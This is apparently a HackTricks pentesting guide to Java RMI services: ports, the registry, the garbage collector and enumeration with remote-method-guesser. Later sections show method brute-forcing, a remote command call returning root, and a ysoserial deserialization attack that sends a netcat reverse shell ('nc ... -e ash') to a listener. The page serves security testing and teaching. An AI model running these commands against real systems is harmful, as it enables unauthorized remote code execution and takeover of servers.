// HackTricks · Network Services

1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP

1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP

Basic Information

Java Remote Method Invocation (Java RMI) is an object-oriented RPC mechanism that lets code in one Java Virtual Machine invoke methods on a remote object in another JVM. A short introduction from an offensive perspective appears in this Black Hat talk.[6]

The RMI registry defaults to TCP 1099. TCP 1098 was the historical default for rmid (RMI Activation), and 1050 is commonly associated with legacy CORBA naming/RMI-IIOP deployments. The other ports below are application conventions frequently worth checking, not Java RMI protocol defaults. RMI-IIOP was removed from Java SE 11, and RMI Activation/rmid was removed from JDK 17, though older runtimes and third-party application servers remain in scope.[7][8][9]

Commonly observed ports: 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, and 9999.

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

The RMI registry is commonly bound to a known port. Application objects may share a configured server port or use an ephemeral port when exported with port 0, as in the scan output above. On legacy Java versions, the Activation System may also be exposed on its configured port.

Nmap may have trouble identifying TLS-protected RMI services. Investigate an unknown TLS service on a common RMI/application-management port with protocol-aware tooling.

RMI Components

To put it in simple terms, Java RMI allows a developer to make a Java object available on the network. This opens up a TCP port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that Java RMI needs to solve:

  1. To dispatch a method call, an RMI client needs a remote reference containing the endpoint and object identifier, plus compatible remote-interface/stub information. An ObjID identifies an exported object within an RMI runtime. Generated IDs are unique for their host/time scope but are not necessarily cryptographically random; registry, DGC, and legacy activator objects use well-known IDs.[10]
  2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The Java virtual machine needs to track which of these resources are still in use and which of them can be garbage collected.

The first challenge is addressed by the RMI registry, a bootstrap naming service. The registry itself is an RMI service with a known interface and well-known ObjID, so a client can construct its initial registry reference from a host and port.[7]

Developers commonly bind exported objects to an RMI registry. The registry associates a human-readable bound name with a serialized remote reference/stub. That reference contains the transport endpoint and remote-object identity needed for calls, while the client still needs compatible interface/stub classes unless another mechanism supplies them. This is a bootstrap analogy to DNS, not a direct protocol equivalent. The following listing shows a small example:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

  private static final String remoteHost = "172.17.0.2";
  private static final String boundName = "remote-service";

  public static void main(String[] args)
  {
    try {
      Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
      RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
      String response = ref.remoteMethod();                           // Call a remote method

    } catch( Exception e) {
      e.printStackTrace();
    }
  }
}

The second challenge is handled by the Distributed Garbage Collector (DGC), an RMI service with a well-known ObjID on RMI server endpoints. Clients send dirty calls to obtain or renew leases for remote references and clean calls when references are no longer held; the server can then determine when an exported object is no longer remotely referenced.[6]

Historically, the three well-known components were:

  1. The RMI Registry (ObjID = 0)
  2. The Activation System (ObjID = 1, removed from JDK 17)
  3. The Distributed Garbage Collector (ObjID = 2)

These standard components have been attack vectors in outdated Java versions because their interfaces and wire operations are predictable. Custom RMI services require a compatible method hash/signature for a meaningful invocation; attackers may recover it from client code or guess it from response differences, as described below.

RMI Enumeration

remote-method-guesser is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:[2]

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

The project’s enumeration documentation explains each probe. Tool labels are hypotheses based on response behavior; verify a reported vulnerability safely against the exact runtime and configuration.[5]

For generated ObjID values, the embedded UID timestamp can estimate when that identifier/address space was created. It may correlate with service start or object export, but it is not a guaranteed JVM uptime measurement:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Even when enumeration finds no known vulnerability, custom RMI services may expose dangerous methods or deserialize attacker-controlled arguments. Modern JDKs include built-in filters for registry/DGC paths and support process-wide and per-export deserialization filters, but application objects are safe only when an effective filter and narrow parameter types are actually configured.[11]

Java RMI does not provide a general remote-reflection operation for enumerating an object’s methods. It is nevertheless possible to brute-force candidate method hashes/signatures with tools such as remote-method-guesser or rmiscout:[2][4]

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

In an authorized lab, an identified method can be called like this. The command executes the remote application’s own execute method; rmg does not make every discovered method a command-execution primitive:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

If a non-primitive parameter is deserialized without an effective filter and a compatible gadget chain exists on the server classpath, test deserialization with a harmless canary before any command payload. The following is the original lab demonstration:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

More information can be found in these articles.[1][3][4]

Apart from guessing, you should also look in search engines or GitHub for the interface or even the implementation of an encountered RMI service. The bound name and the name of the implemented class or interface can be helpful here.

Known Interfaces

remote-method-guesser marks classes or interfaces as known if they are listed in the tool’s internal database of known RMI services. In these cases you can use the known action to get more information on the corresponding RMI service:[2]

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)

Shodan

  • port:1099 java

Tools

HackTricks Automatic Commands

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
  Name: Enumeration
  Description: Perform basic enumeration of an RMI service
  Command: rmg enum {IP} {PORT}

References